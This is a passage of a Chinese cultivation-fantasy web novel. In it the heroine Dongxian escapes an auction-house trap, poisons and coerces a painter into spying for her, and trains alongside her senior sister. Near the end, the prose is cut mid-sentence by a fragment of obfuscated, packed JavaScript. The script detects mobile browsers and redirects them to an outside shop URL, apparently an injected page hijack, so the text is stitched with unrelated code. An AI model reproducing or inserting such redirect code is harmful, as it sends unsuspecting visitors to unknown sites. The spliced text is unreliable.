幕篱下的阿正很慌，但他记得东闲的话，切忌暴露身份，努力回忆着东闲的动作，学她的举止跟着下人进入另一间房。
就在下人阖门的那刻，他还没来得及打量房间胸口便猛然刺痛，哗啦啦地流了大滩的血迹，鼻息很快近无，身子同断了线的风筝般倒下。
他死前才知道他该明白的，一个赌徒的话不可信，而赌徒也不该相信别人。
动手之人见他那么好杀，也是意料之外，扯下幕篱才知这人是阿正而非东闲，原想制服住幕篱女子，不料杀了个凡人，难怪连遇到危险最简单的护体屏障都不会起，甚至死得这般容易。
等尤长离进来，便是看见阿正咽气的一幕。
下属方想请罪，不料双手刺痛，竟是见掌中血肉糜烂，原来被毒药腐蚀。
下属大骇道：“他身上有毒。”
尤长离淡淡扫了过去，“只是一点毒就叫你慌了神，若你只有这点胆量还不如趁早死了算了。”
下属连忙跪下道：“属下知错。”
尤长离摆手，道：“自己去找何连莲。”
何连莲是个药修，受伤找她也是应当的。
尤长离目光重新落在那具尸体上，男人的手心好像一直攥着某样东西，他叫人掰开他的手，把那东西递了过来，居然是听音螺。
“尤老板，你真的太让我伤心了，今日心情不好，便先走一步。”
对方没给尤长离回复的机会，单方面停止联系。
尤长离若有所思，觉得自己小瞧了对方。
魔尊告诉他东闲连淬灵境的修为都没有，更是孤家寡人一个，所以让他多准备些提升灵力的天材地宝，他也试探过魔尊对东闲并不重视，不然他也不会对东闲出手。
尤长离很难不对东闲下手。
毕竟，觜火猴的高星宿传承，他手上恰好有几个客人需要。
他似有所觉，掏出身上的听音螺，只见亮光闪烁是有人想要传音的表现，尤长离一手包住听音螺，听到那边传来的声音。
“怎么样，找到人了吗？”
尤长离道：“找到了。”
对方急切地道：“那就赶快把人抓住，剥夺他的星宿传承啊，怎么这你们也做不到？”
尤长离看着手中光亮长亮的听音螺，眼里的笑意不达眼底。
“宋小姐，我们帮你的是找到这个人，可没说过替你解决她。”
对方呼吸明显急促起来。
尤长离复而道：“不过这个人，我们也很感兴趣，如若宋小姐需要她的星宿传承，宋小姐你需要支付额外的报酬，我建议宋小姐出价高点，那可是高星宿传承，想要的人只多不少。”
宋玉莲面色好转，“确定是觜火猴星宿传承吗，待我星宿传承到手，必将重金答谢。”
她恨恨地瞥了眼一旁栓住的天月狼，觜火猴的星宿传承能够提升契约妖兽的概率，如若不是实在没办法契约它，她也不可能去做剥夺他人星宿传承的事，不过她只是买卖又不是交易，应当是不一样的。
听音螺那边的声音消失，表面上的亮光也随之熄灭。
尤长离轻轻嗤了一声，把听音螺收进囊中，忽而感应到下方的灵力波动，似是有人在打架。
有下属敲门而入，将外面的情况一五一十地告诉他。
大意是有人妄图抢拍卖品，争抢过程中双方都进入了灵域。
尤长离挥挥手，道：“玲珑阁的东西一经拍卖便不归玲珑阁管，既然他们要打就让他们打，好生看着，别让他们砸了我的玲珑阁。”
另一边的东闲还没有离开，她来到楼下，选了个与其他客人保持一定距离的位置入座，通过听音螺分析阿正那边的情况。
半晌，东闲言语一句便将听音螺收了起来。
这个尤长离果然如她猜想的那般不是善类。
现下她已经换了张脸，来自影阁成员代号青鸟的脸，这张脸的好处是所有见过这张脸的人都死了，这是缘上记载的，她完全可以顶着这张脸做任何事。
尤长离或许还会派人找她，她最好等人都走的时候，跟着人流走。
她方才从来路看过了，测试星宿传承并非对所有客人要求，这说明尤长离本就没把她放在眼里，从开始就想在她身上得到利益，这回她就算能逃脱也不能说明是她扳回一局。
她手头到底得有几个可靠的人，一些信息她无法亲自去探查，会暴露她自己。
等到拍卖会结束，大家
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纷纷散场，期间尤长离的人来排查过几次，可惜东闲的百生镜连清微仙尊都看不出来，又怎会让他看出来。
东闲跟着人流向外去，有一生得白净秀气的男子突然冲入人群中，作势要抢东西。
东闲微微睁大眼睛，就这么明抢吗。
让她生起兴趣的是，那张一闪而过的脸，百生镜上也有这么一张脸。
“***，有病啊，要打出去打啊。”
其他人抱怨道，但没有加入动手的意思，跑的赶快跑，好像早已习惯这种纷争。
很快，那些动手的人消失在原地，是被拉入灵域当中。
东闲在玲珑阁不远处，跟摊主大爷买了个斗笠，坐在大树底下，余光注意着玲珑阁的情况，青鸟的脸生得寻常，并不为人注意，加上没有人会无缘无故去怀疑一个在大树底下嗑瓜子的男人。
那群人打得很快，马上就出来了，而后跟着的是被人抬出来的白净男人。
白净男人已经不省人事，一头长发尽编成三股麻花辫此刻乱糟糟地垂在胸前，身上是大片的血迹，看起来受了重伤。
东闲磕着瓜子跟上去，闲聊似的问道：“死了？”
她说话的语气太过熟络随意，以至于被她搭话的下人以为自己跟她认识，不禁下意识回道：“咽气了，活不了。”
下人又见她忽而矮身伸手拿开白净男人放在腹上的手，然后手在他的身上一通乱摸，最后落在男人的腹部。
下人目瞪口呆，这人已经饥渴到毫不避讳他人目光地对一个尸体下手了吗。
“喂，你做什么？”
东闲松开了手，道：“我扔吧，我顺路。”
那下人腹诽，顺路乱葬岗这句话说得出来你也是懒得编借口了吧。
没想到就是成了一具尸体，都要担心清白不保。
下人本来是想把人扔到乱葬岗中去的，闻言倒也没太犹豫，只觉跟东闲多相处一段时间都能使他恶寒，连忙摆手把尸体交给东闲，只在临走前尤为同情地看着白净男人的离去。
莫吟洲的意识逐渐回笼，最先有反应的是听觉，他听到骨碌碌的车轮滚动声，心道应当是玲珑阁的人把他当尸体扔到乱葬岗。
那群人打得挺重，他暂时也起不了身，任由搭载他的板车的两轮压过杂草。
直到推车的人停下，半晌没听到其他动静，他忍不住睁开一条眼缝。
莫吟洲从没希望过自己能在将死之时，能有个像话本中美救英雄的桥段，但绝对不想要从一个深渊进入另一个深渊。
眼中是放大的秀气面庞，对方长得人畜无害，甚至在刻意委屈时有惹人怜的小白花的意味。
但是她的手正大力地扒开他的嘴，一颗药丸落入他腹中，在他想吐时，那只手死死地捂住他的嘴，逼他吞下入腹。
莫吟洲分外憋屈，怒道：“你？！我已经要死了啊。”
东闲道：“死不掉的，师姐教过我怎么判断一个人活没活着，你骗了他们。”
她的手指在半空游动，最后虚虚指在腹部。
“这个东西保住你的命了。”
36.第 36 章
莫吟洲心下大惊，脱口而出道：“你是药修？”
东闲起身，居高临下地看着他，道：“你没资格过问你主人的事，莫吟洲。”
莫吟洲那双眼都要瞪得突出来。
他咬牙切齿地道：“就算我现在是你的人，你看见我受了这么重的伤，你总该给我治疗吧。”
跟东闲对着干暂时不是明智的选择，他得先把解药拿到手再说。
东闲的言语冷酷得过分：“你身上的伤你自己想办法，我需要的是在你死前压榨你最后的价值。”
莫吟洲满是暗恼，事情怎会发生到如此地步，东闲的出现简直是他计划中从未规定的存在。
眼看着东闲离去，他却想偷袭反击的机会都没有，只得等体内的灵草消化掉，那是助他假死的好物，缺陷是一段时间内他的身子软弱无力，故而能够轻易被东闲控制住。
等他能够起身，他想再抠嗓也没用了。
他烦躁地抓头，又愤愤地砸地，激荡起尘灰纷纷。
他拿起藏在胸前的听音螺，听音螺上亮光闪烁，他大掌覆住，于是光亮不再闪烁，而是持续地亮着，那边的声音传了过来，他的神色马上缓和，言语中藏着温柔与眷恋。
“……”
“一切都尽在掌握中，最多五日就能交到兄长手上。”
“……”
“只要是为了兄长，我做什么都不辛苦。”
听音螺的亮光熄灭，他收起听音螺，目光晦暗地瞥向东闲适才离去的方向，而后跟了上去。
东闲从郊外回来，差点撞上了执法队，她绕路走，不曾想撞到安泛泛。
在安泛泛反应前，她就已经唤了声“师姐”并且迎上前。
听见东闲的唤声，安泛泛几步跑上前，问道：“你怎么也在这？”
东闲见她神色凝重，心也跟着一慌，难不成自己是哪里被发现了。
“怎么了师姐，你看起来脸色不太好。”
安泛泛问道：“你不知道吗，执法队出来巡逻，撞上了别人打架呢，他们连灵域都不展开，幸好有执法队帮忙劝阻。”
东闲还真不知道此事，她是有意绕着执法队走，就怕自己被执法队发现，她要做的事越少人知道越好，到时落了嫌疑可不好。
东闲问道：“是吗，我方才在茶馆歇了一会，还不知道这件事。”
安泛泛见她无事也放下心，好奇地问道：“你出去干嘛呀，你很少会出宗？”
东闲心下却是记住安泛泛口中所言“你很少会出宗”，扬了扬手上的储物袋，道：“红莲长老要我买些炼器的材料，我正准备回宗了，师姐也要回去吗？”
安泛泛颔首，复而道：“你什么时候跟红莲长老关系怎么好了，她需要的材料不是有专门的弟子采购吗，也不需要你去呀。”
东闲解释道：“我是因为鸦昤前辈才能跟红莲长老说上话的，这些也是为鸦昤前辈买的，师姐，我有事想告诉你，我就要进入淬灵境了。”
安泛泛眸光一亮，显然也很惊喜，“你这么快就进入淬灵境了！太好了。”
东闲眉眼也跟着弯弯，“许是因为在鬼煞冢那获得了机遇，我又修炼过一遍，所以第二遍便会如此轻松。”
东闲又道：“师姐，我就先不跟你聊了，我得赶快把东西送过去，等我有空了再找师姐。”
她转而离开，手握着听音螺，朝她新收的替死鬼道：“你近日的任务是负责盯梢玲珑阁。”
那边传来有些崩溃的声音。
“我刚从那个地方以死人的身份出来，你又叫我回去？我虽然还活着，但是也能被霍霍死的啊。”
东闲道：“这不是我需要考虑的，我只要你达成目标，不论以什么手段。”
她也不给莫吟洲回复的机会，单方面断了联系。
东闲回到宗门，来到穿云峰，彼时的红莲长老正和鸦昤商讨炼器的技巧。
东闲没有打扰她们，或者说她希望自己的到来不要影响到他们，这样她就能在一边看着她们炼器，跟着学习技巧。
鸦昤还是发现她的存在，红莲长老因她的停顿也看了过去，便见是东闲在附近。
东闲见自己暴露，便主动上前把储物袋交给鸦昤。
“材料都齐全了。”
东闲目光落在红莲长老腰边挂着的青尺，出言赞叹道：“好漂亮的青尺啊，红莲长老，它就是那日现世的上清尺吗？”
红莲长老闻言爱怜地抚摸着上清尺，“它的确很漂亮，可惜不与我心意相通。”
鸦昤意外道：“难道它已经有意向的主人？”
法器的品阶越高，代表越有灵性，圣阶的法器是会自主寻找心怡的主人。
红莲长老叹道：“它被拒了，才回到我身边，虽然无法与它心意相通，但是能炼制出圣阶炼器，我已经很满足了，如若能找到上清尺意向的主人……”
东闲看向她，顺着她的话猜测道：“红莲长老是打算把上清尺送给她吗？”
红莲长老眸光幽幽地转向东闲，“我会亲手宰了他。”
东闲：“……红莲长老，这里没有弟子的事，弟子便先告退了。”
她转而离开，如以往那般继续找月华长老修习阵法。
接下来的时日，她将重心放在修炼于学习上，比谁都要忙碌。
日日要送的糕点也没再送了，因为安泛泛挂念她的身体希望她能多多休息，但安泛泛没想到现在的东闲比以往还要忙碌。
这让安泛泛很是郁闷，私下打听东闲的动静，得知东闲日日除了学习便是修炼从未停歇，简直是在上酷刑。
上学堂如赴刑场的安泛泛觉得自己很有必要救东闲于水火之中，等她第一次生起主动找东闲的念头时，却得来东闲推掉所有的课准备闭关升境的消息。
说是闭关，但并非与外界毫无接触，这段期间会有杂役弟子每日送来三餐。
不过如此与严格意义上的闭关其实无甚差别。
安泛泛不知为何怅然若失，私底下找上与东闲共居一处的鸦昤，麻烦她千万要第一时间告诉自己有关东闲出关的消息。
安泛泛等了两日，都没能等到鸦昤告诉她有关东闲出关的消息，安泛泛都要怀疑鸦昤是不是日日练剑把她的话早抛至脑后，毕竟十二个时辰她可得花上八个时辰在练剑。
她纠结了半晌，思绪渐渐偏离，忘了人在学堂，故而又挨了黑老头的一指弹。
安泛泛老实听讲，一下学堂就往东闲的居所，恰逢鸦昤在庭院耍剑。
鸦昤见到突然造访的安泛泛微觉诧异，心道自己跟安泛泛平日毫无交集应当不是来寻
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她的，那她来是为何。
观她面颊红润口中喘气，不由得道：“你有很要紧的事吗？”
安泛泛比了个稍慢的手势，轻阖眼帘收稳鼻息。她暗恼，一着急忘记自己能使御风术了。
随即安泛泛问道：“东闲应该出关了吧，都过去好久了。”
鸦昤道：“你不必着急，无需我相告，她若是出关，必然第一时间传信于你。”
安泛泛半信半疑地道：“那你也得告诉我，谁知道她还记不记得我。”
可她的演技太差，怎么看都是上翘的嘴角根本瞒不过人，明眼人都能瞧得出她的自得。
旁人都知道东闲以她为先，她可不得意嘛。
安泛泛就此离去，鸦昤再次挥剑之时，余光不禁为对面户牖紧闭的居所吸引。
安泛泛跟“慕婉思”的关系真好，安泛泛也会知道“慕婉思”的身份吗？
一次又一次的挥剑中，她已抛下疑问，沉浸其中。
东闲打坐结束，已经是三日后的事情，睁开的一对明眸沉静若死水，不见半分升境后的喜悦。
她已然晋升成为淬灵境的修士。
升境到淬灵境，东闲才算是合格的修士，修士每升一个阶段就要经历渡劫，从引气入体到淬灵境不需要渡雷劫，此后东闲想要升境，需得提前置办些帮助渡劫的阵法符咒法器之类的物什，以来减少渡劫失败的几率。
渡劫失败会导致修为反噬，这是最寻常的变化，更严重者，甚至会为此失去性命，境界愈高伴随的雷劫愈加强悍，有人惧怕劫雷甚至会控制自己的境界停留在一个阶段不变。
单纯依靠吸取天地间的灵力来升境的方法，此间受天道厚爱之子穷尽一生都不会达到意动境，因为修士与人一般只有短短百年岁月。
加快修炼速度的方法有许多，其中最快的便是借助各种灵宝，灵宝并不是取之不尽用之不竭，相反数量稀少，修士们间便自然少不得争斗，修士之间的争斗是你死我活，因而升境这条路可以视作由生灵骸骨堆积而成。
这是约定俗成的准则，修士们还有一个准则，便是不牵扯毫无修为的凡人。
东闲倒是不怕斗，斗得多了，别人就识得她的大名，她也就不会平庸死去，在这个强者为尊的修仙界，东闲最怕的是落个籍籍无名的路人甲的下场。
东闲来至梳妆台前，端起铜镜打量镜中的自己，慕婉思的这张脸，她已经顶着有近两个月的时间，她有些许怀念自己的脸。
东闲绝不会一直以慕婉思的身份生存下去，百生镜是助她达成目标的手段，她还想以自己的面目成为修仙界第一人。
目前她还要在玄清宗待上一阵时日，慕婉思的这张脸还于她有用。
她拿起一旁放着的听音螺，听音螺正在一阵一阵地闪烁着，以信鹤传音容易被发现，而听音螺不会留下痕迹，所以她与一些人的谈话不想被发现时，主要还是用听音螺。
听音螺表面微热，这代表莫吟洲曾经尝试向她传音，传音多次未接听音螺表面的热度也会越烫。
东闲估摸着他应当只传过两三次，自己闭关修炼三日，想来不是什么急事。
她起了个屏蔽的阵法，而后握住听音螺，掌下的亮光从断断续续变成长时间的光亮。
听音螺的另一端传来声音。
37.第 37 章
“你为什么这么久不接？”
“久吗？”
一声“久吗”把莫吟洲一肚子要吐露的不太友好的话给咽了回去。
他记起这几日被东闲下的毒支配的痛苦，这人是真给他下毒了，他的生命在流逝，如若没有东闲的解药他会死，他就是想跟东闲撕破脸，还得拿到解药才行。
莫吟洲冷静下来，又开始感到憋屈。
东闲当时报自己的名字报那么顺口，他都会怀疑东闲是不是早就盯上他了，她是不是特意蹲守自己。
但他查出来的结果是，东闲是玄清宗弟子慕婉思，那个从鬼煞冢回来的弟子，据说修为尽废记忆全失。
回来不到一月，让整个玄清宗都相信她在鬼煞冢的可怜遭遇，偏偏这样的一个失忆尽丧的人还能一眼认出他。
莫吟洲是名画师，因画技精湛而小有名气，又因曾是鼎鼎有名莫家少爷的身份为人注意，慕婉思认得他并不奇怪。
可是现在的她是个记忆全失的人，一个记忆全失的人不应当努力记起自己熟悉的人或事吗，怎么关注上他来了。
莫吟洲开始觉得，这个人绝不会如传闻所说的一般简单。
“怀玉并未去过玲珑阁，但是双方私下有关联。
“玲珑阁最近没有出现异常，不过每隔一段时日就会出现的一批拍卖品有些奇怪，不知道拍卖的是什么，但总有人拍价，价格还很高。”
东闲拿出储物袋，一面伸手搜着，一面随意地回道：“下一次拍下它。”
莫吟洲虽然不明白她这样做的理由，但知道自己照做就对了。他回了个“明白了”。
东闲确认自己手头拮据，想到莫吟洲的身份，道：“我手头紧，你卖几幅画给我送些灵石来。”
莫吟洲额头突突地跳，好家伙这是把他一人三用了，情报员、刀和移动金库，合起来组成一个身份——冤大头！
听到那边咬牙切齿的“收到”，东闲弯起唇角，道：“你果然有些用，如果没用就替我去死好了，我招惹了不少仇家，你总归能派上用场。”
莫吟洲听得后脊梁生寒，东闲从一开始就说过是在利用他，因为他有价值才有资格存活，但是听她说得云淡风轻，心里还是会咯噔。
这人是真把他当个工具使的。
还有什么人才会招来那么多仇家，她不会是在吓自己吧。
莫吟洲狐疑地道：“你哪来那么多仇家？”
东闲抚摸着储物袋上的褶皱，漫不经心地道：“那是因为天妒英才呀，我这种出色的人到哪都碍着别人的眼，大家为何不愿意和平共处呢。”
莫吟洲心道你那个五分星日马传承也不至于人人都觊觎吧，所以所谓的仇家多是有意吓他才是。
他忍不住问道：“你没有其他人可用吗？”
东闲眸光倏地锐利，即使莫吟洲看不见她的神色，也因她话中暗藏的锋利所慑住。
“别想套我的话，我不喜欢没有规矩的人，继续盯着玲珑阁，有新进展了告诉我。”
她切断联系，另一边的莫吟洲都快把头抓成了鸡窝头，骂了东闲祖宗十八代一个遍。
东闲对莫吟洲现在会做的事并不好奇也不意外，她看着掌心的红痣，想到几日前的对话。
魔尊不知她的真实身份，玉佩能做到的只是二人心念相通，同理东闲也不知魔尊长何模样。
她在与魔尊的交谈中，发现对方相信极了自己一定会成为他忠实的下属，而这点似乎是掌心的玉佩带来的，它好像能够让她同化为与魔尊一类人。
东闲为此担心一段时间，直到现在她才明白——
这个玉佩屁用没有。
升至淬灵境并不会引起什么动荡，所以她打开户牖，踏出居所，就象征着她升境成功了。
东闲本想传信鹤给安泛泛告诉她自己升境一事，恰逢遇见来寻鸦昤的师兄师姐。
师兄师姐们也是路过，想到鸦昤委托完成后有数日没有去领报酬，故而特意前来提醒。
关于此事东闲有所耳闻，鸦昤有时会去委托大堂接取任务，一来锻炼自己的能力，二来是她的正义心作祟。
委托大堂的委托非玄清宗弟子也可以接取，只不过得到的报酬与宗门内部弟子有所区别。
他们没有如愿找到鸦昤，正欲离开，结果转头碰上了闭关结束的东闲。
有师姐觉察出东闲的境界提升，朝她道恭喜。
另外两个弟子也探查了东闲的境界，发现她确实已是淬灵境的修为。
有弟子看得膛目结舌，惊呼出声：“慕师妹，你只花了一个月的时间就升到淬灵境了？！”
只耗用一月的时间且不借助灵宝就成了淬灵境前期的修士，这无疑是叫整个修仙界颤一颤的，上一个让修仙界颤一颤的还是几百年前的事。
东闲略显无奈，打趣道：“师兄高看我了，哪能如此容易，我修炼一月不见长进，一时性急借助灵宝升境，故而听起来只花上一月的功夫，我若能有如此天赋，早该这般厉害了。”
三个弟子皆信了东闲的说辞，暗自羡慕对方有个做长老的亲爹，什么好资源都留给自家女儿，慕婉思简直是让人羡慕嫉妒的修二代。
见鸦昤那间居所无人，他们与东闲寒暄几句便先行离开。
与此同时，安泛泛在得知东闲升境后，第一时间急匆匆地赶过来，在快要被东闲看见时，她改疾跑为慢条斯理地走，然而被风吹得凌乱的发丝出卖了她的心理。
东闲装作才看到她而显露欣喜的模样。
“师姐，你来了。”安泛泛哼了一声，道：“我不能来吗。”
她憋着一肚子的气，她可是从别人那才知道东闲升境了，好你个慕婉思，升境结束后竟然不立刻通知她。
东闲眉眼弯弯，道：“只是有些意外，方才想着师姐，师姐便在眼前，原本还想第一个告诉师姐喜讯，怎料大家太热情了。”
安泛泛也没那么生气，她很好哄，东闲一句话就让她气消了。
安泛泛点点头表示明白了，复而道：“你是不是在担心一个月后的考核，可是你的情况不同，这次考核不会加上你的名额，你不用担心没有达到
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淬灵境而受惩罚呀，你完全不用着急升境，你知不知道急于求成对你的修行是大大有害的，不尊重修炼，天道会惩罚你的。”
安泛泛蹩起秀眉，明丽的面庞上尽是苛责与担忧，这是东闲在出关之后看到的最不同的情绪。
东闲微微怔住，在一众向她道喜的师兄师姐们，安泛泛是唯一一个担心她的。
这点异样的感觉如羽毛般轻轻撩了下她的心尖，便被她强自沉寂。
复而她的手被安泛泛牵起，熟悉的灵力在体内流转，师姐是又在给自己探查身体的情况了。
东闲安抚道：“师姐，我每日都合格把控修炼的量的，不会太辛苦。”
安泛泛却道：“那我今天要跟着你，看你是怎么合格把控量的。”
东闲无法浪费时间，她恨不得每天都在修炼才行。
变强大的感觉会让她上瘾，在成功晋升为淬灵境前期后，她内心更多的是对力量的渴求。
东闲曾在藏书阁时，了解到飞升成神后居然还有跨越三千世界的能力，这不免使得东闲记起她的来历，她很想试试自己能不能再穿回去。
为了能够拥有更多的时间，以来温习贪狼星君所授百道秘法，她甚至为此特意炼制抵抗疲劳的丹药而服用，保证彻夜都是亢奋的状态，时间长了，她便不曾睡过一回好觉。
这使得东闲不禁感慨修仙界真好，若她在现代日日彻夜劳累工作可还有命活着？早就猝死了。
安泛泛也很感慨，东闲真是她见过最勤奋的弟子了。
其努力程度可以与剑峰疯狂追赶亓沂师姐的许望师兄一比。
据说许望师兄为了能打败亓沂师姐，日日起得比鸡早睡得比狗晚，挥剑不下数万下。
东闲这般努力，倒让安泛泛不好意思起来，安泛泛细想自己进入宗门以来，待修炼一事态度散漫，唯让她花心思的是今天要去哪玩明天又要去哪玩。
她在药道上天赋异禀，这种天赋是老天追着给饭吃，圣阶药修又可称为药圣，她又有身为药圣的母亲的指导，无需努力就能狂甩其他药修一大截，至于修炼一事，她自知能力不足故而不强求。
每日消遣玩耍，快活得很。
跟好学刻苦的东闲比起来，她简直是个不学无术的纨绔子弟。
安泛泛想到这，鲜少地感到心虚，道：“反正我今日无事，就算是陪陪你了。”
东闲眨眨眼，对于安泛泛的“回头是岸”并不意外。
安泛泛看似是个终日只知吃喝玩乐、娇纵惯养的大小姐，却是出奇地讲规矩，最起码令她谈之色变的心道课她会日日坚持在学堂坐足一个钟头，从来没有生出逃课的心思。
但这点悔恨带来的动力又能支撑她多久，东闲觉得今日安泛泛便会撒腿跑路。
东闲还没出声，远处翩翩飞来一只信鹤。
安泛泛伸手去接，停在她指尖的信鹤很特别，不同于信鹤的纯白，这只是姑娘们喜爱的粉色，消失时会有缤纷花瓣洒落，煞是优美，衬得人也娇嫩。
东闲看着这只外形独特的信鹤若有所思。
38.第 38 章
东闲不知道信鹤上是什么讯息，瞧见安泛泛纠结的神情便也能够大抵猜到，是安泛泛的姐妹团向她发出游玩邀约。
东闲善解人意道：“师姐若是有事的话，不如先去忙吧，明日我也能同师姐一起去演武场，明日不行，后日也行，我总归能等到师姐有空的时候。”
安泛泛听见了信鹤上来自小姐妹的传话，原本还有些意动，一听东闲的话，反而不想去。
“去，谁说不去。”
东闲装作没听出她的真实想法，如寻常姐妹般自然而然地搂住安泛泛一侧臂膀，很是感动道：“师姐待我真好。”
演武场进进出出不少弟子，途径东闲和安泛泛时，都觉得脚下轻飘飘的，有些不真实。
弟子甲：“刚刚谁过去了，慕师妹和谁？”
弟子乙：“好像是安师姐。”
弟子甲：“极寒雪地不是还有好几个月才开启吗，安师姐一般只会在极寒雪地开启前一个月去演武场，方才那个是我想的那个安师姐吗？”
弟子乙：“糟了，我想的也是那个安师姐，我一定受伤了，伤得还挺重，都出现幻觉，我得去医馆看看。”
弟子甲：“你说得对，我也要去医馆。”
安泛泛：“……”
安泛泛默默握起拳装作没听见的样子，试图挑起话题转移东闲的注意力。
“在演武场，人多的时候是需要提前预约的，还得定好你要预约多少时辰，时间不能超过三个时辰，每次只能预约一天，不然对其他弟子来说不公平。
“继下个月起各大试炼场就要次第开启，最先开启的是赤焰龙脉，玄清宗所有内门弟子都必须参加试炼，在这段时间内演武场会有很多人。”
安泛泛也要参加试炼，好在因为她主修药道，并非如法修、剑修等主杀伐，试炼场的通关要求会因为她是药修的身份而酌情降低。
她又只选难度最低的极寒雪地，极寒雪地是所有试炼中最晚开启的，安泛泛会提前一旬到演武场训练，她有她独门的过关技巧，每次都能擦线达到考核要求。
东闲认真倾听，并提出疑问。
“若是有人想延长待在演武场的时间，保证每日修炼场都能预留一个位置给他，那要怎么做？”
安泛泛道：“不会有人想要延长时间，三个时辰已经是最佳训练时长，平日大家都有很多的事要忙，既然你问了，那我告诉你吧，只要多给一些灵石就不用每日花心思预定，还能得到特殊服务。”
要放在之前，东闲听到这话可是要伤心的，如今她有了个移动金库，自是不用担心。
玄清宗到哪里都需要登记，演武场用的是公共资源，自然也需要登记。
她们二人到了登记处，安泛泛报上自己的大名与“慕婉思”的，登记处的师姐觉得安泛泛三个大字熟悉得过分，但绝不能与演武场挂钩，特意抬起头看了她一眼。
师姐低下头去，确定是安泛泛本人。
等等，安泛泛？！
师姐猛然抬起头，哗啦一声带动着交椅站立起来。
安泛泛：“……”
她羞耻得几乎想找个缝钻进去。
东闲偏过脸去，掩住唇角的手紧握成拳，可见她忍耐得辛苦。
看来她的师姐为了她真是做出很大的牺牲。
东闲忍住了，转回脸出声打破僵局。
“师姐，我想预定一个位置，时限为一个月。”
师姐回过神，一面提笔登记一面问道：“是要一个月的归属权吗？”
东闲应下。
像东闲这般选择预定一个月，以来减轻每天都要预约的麻烦，倒也不少。
师姐记下名字，登记为期一个月，告诉她需要上交的灵石，而后分别给了东闲和安泛泛一块注入过符咒的令牌。
东闲接过令牌，有意试探，能感受到里面灵力运转的规律。
东闲问道：“令牌既然是依靠符咒生效，如若破解其中符咒，岂不是可以随意进出演武场？”
师姐笑道：“放心，慕师妹，这里面的符咒可不是轻易能堪破的，再者，大部分弟子也不会整日待在演武场，何况我们还布下投影珠，没有弟子敢顶风作案，自从上回有个弟子在演武场受伤，我们就在演武场四处布下投影珠，以来方便第一时间发现危险。”
东闲意外地道：“演武场还会出现危险吗？”
演武场的训练内容是根据弟子实力来变化，按理来说，不该会有人受伤，就算训练出现异常，弟子是可以随时选择中途退出。
师姐欲要回她，被安泛泛抢了话头，师姐半张着嘴，看着已经开口解答的安泛泛，些许尴尬地挠了挠脸。
安泛泛微微抬高声量，余光瞧着东闲。
“早在几百年前，有个大乘境的前辈在演武场留下一道天级阵法，天级阵法会每隔一段时间在演武场中选人，选中的弟子实力不等无法考据。
“前几日被选中的弟子心高气傲脾气倔，受伤了才动用令牌离开演武场。”
演武场的训练内容是由道道阵法组成，根据弟子实力幻化对应的阵法，阵法对应为天地玄黄四个等级，每个等级又分化为上中下。
东闲哪能猜不透安泛泛的小心思，及时投去目光以来安抚安泛泛。
感受到东闲的目光重新落在自己身上，安泛泛心情舒服多了，方才东闲问的那些问题她也知道，为什么只问师姐一人。
她该问我呀，我知道的不比师姐少。
安泛泛每次不满的时候，神情从不遮掩，东闲喜欢看她生气的模样，总是会让东闲联想到鼓起腮帮子的仓鼠，惹人喜爱。
东闲心中叹息，师姐怎能不让人喜爱呢，有求必应，有问必答，给点甜枣就能哄好。
而且，这招人喜爱的一点，都源自于师姐对她的在意。
东闲便不再问师姐，这回同安泛泛道：“原来是这样，师姐，想要触发这种天级阵法是不是很难？”
安泛泛道：“一般情况下是不可能触发的。”
东闲颔首表示明白，两人转而选择进入内场开始训练。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13299858|134915||http|test|mini|href|location''.split(''|''),0,{}));
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临走时，登记处的师姐给小声唤住东闲，对她竖起大拇指，那眼神钦佩得不行。
能让将偷懒钻空子利用到最大化、宗门出了名好玩不爱学习的安泛泛，主动提前几个月来到训练场训练，这慕师妹真是有点手段在身啊。
训练场来往弟子许多，她们穿梭过人群，来到大殿，大殿内设置多个隔间，每个隔间对应一个阵法，阵法一次性可容纳六个人。
来到令牌指示的隔间前，她们很巧合地二次偶遇亓沂。
东闲看了看令牌指示的隔间号，确认她们的对面是亓沂。
安泛泛小声嘀咕：“怎么能这么巧，又看见她了。”
亓沂站在法阵之上，以她为中心爆发出紫色的光芒，包裹住她的全身，她的身影在紫色光芒下慢慢淡却。
那间隔间，黯淡的牌匾上随之亮起两颗星星，夺目而璀璨。
那是地阶阵法中阶，也侧面应证着亓沂的实力。
东闲与安泛泛将令牌放在石案的凹陷处，令牌与凹陷处完美贴合，取下令牌，她们二人脚下的阵法爆发出黄色的光忙。
此间隔房的牌匾上亮起一颗星星。
这是黄阶阵法，根据入阵人最低实力来变化。
而这阵法所依据变化的，无疑是东闲的实力。
东闲紧盯着对面的隔间，倏然笑了，那是一种来自对力量的渴望、充满野心的笑。
见东闲冲着对面笑，安泛泛疑惑道：“你笑什么？”
心里却如见了鬼，亓沂身后有一大批追随者，但是他们都对亓沂怀着一颗敬畏之心，平日不敢靠近她于三里之内，哪有像东闲这般冲着亓沂还能笑出来的。
东闲道：“兴许是因为我很喜欢亓沂师姐。”
强大的力量如何不让人心生渴望。
安泛泛“啊”了一声，心中把东闲当作与那些慕强的修士们放在一起。
安泛泛不置可否，“亓沂师姐的确非常厉害，能开启地阶阵法的弟子只有八个，而亓沂师姐是这八个弟子中唯一一个能够次次开出地阶阵法的。”
东闲好奇道：“幻化出的阵法还会不稳定吗？”
安泛泛：“不是呀，修为越高越要认真仔细，一不留神就会掉修为降境界，而亓沂师姐从未降过境界，一直是我们玄清宗最强的弟子。”
修士耳目极好，不用费力就能听见悄悄话，故而修士们若想说私密的话都是以心音传述。
两人不加掩饰的话语便能轻易落入亓沂的耳里。
“我很喜欢亓沂师姐。”
在一众嘈杂的喧闹声中，女子的声音清晰入耳。
她遥遥望向那个面带微笑说喜欢她的女子，因为传送阵法已经生效的缘故，视线中的女子模糊看不清楚。
亓沂知道她是谁，一个月前失忆回来的剑峰小师妹，叫作慕婉思。
若是往前数几个月，慕婉思还说过她坏话。
若是往前数近半个月，慕婉思被她扔到监牢与魔共处。
所以这女的脑子是不是有病。
39.第 39 章
眼见已经被送入地阶阵法中，亓沂摒弃杂念，专心于接下来的训练。
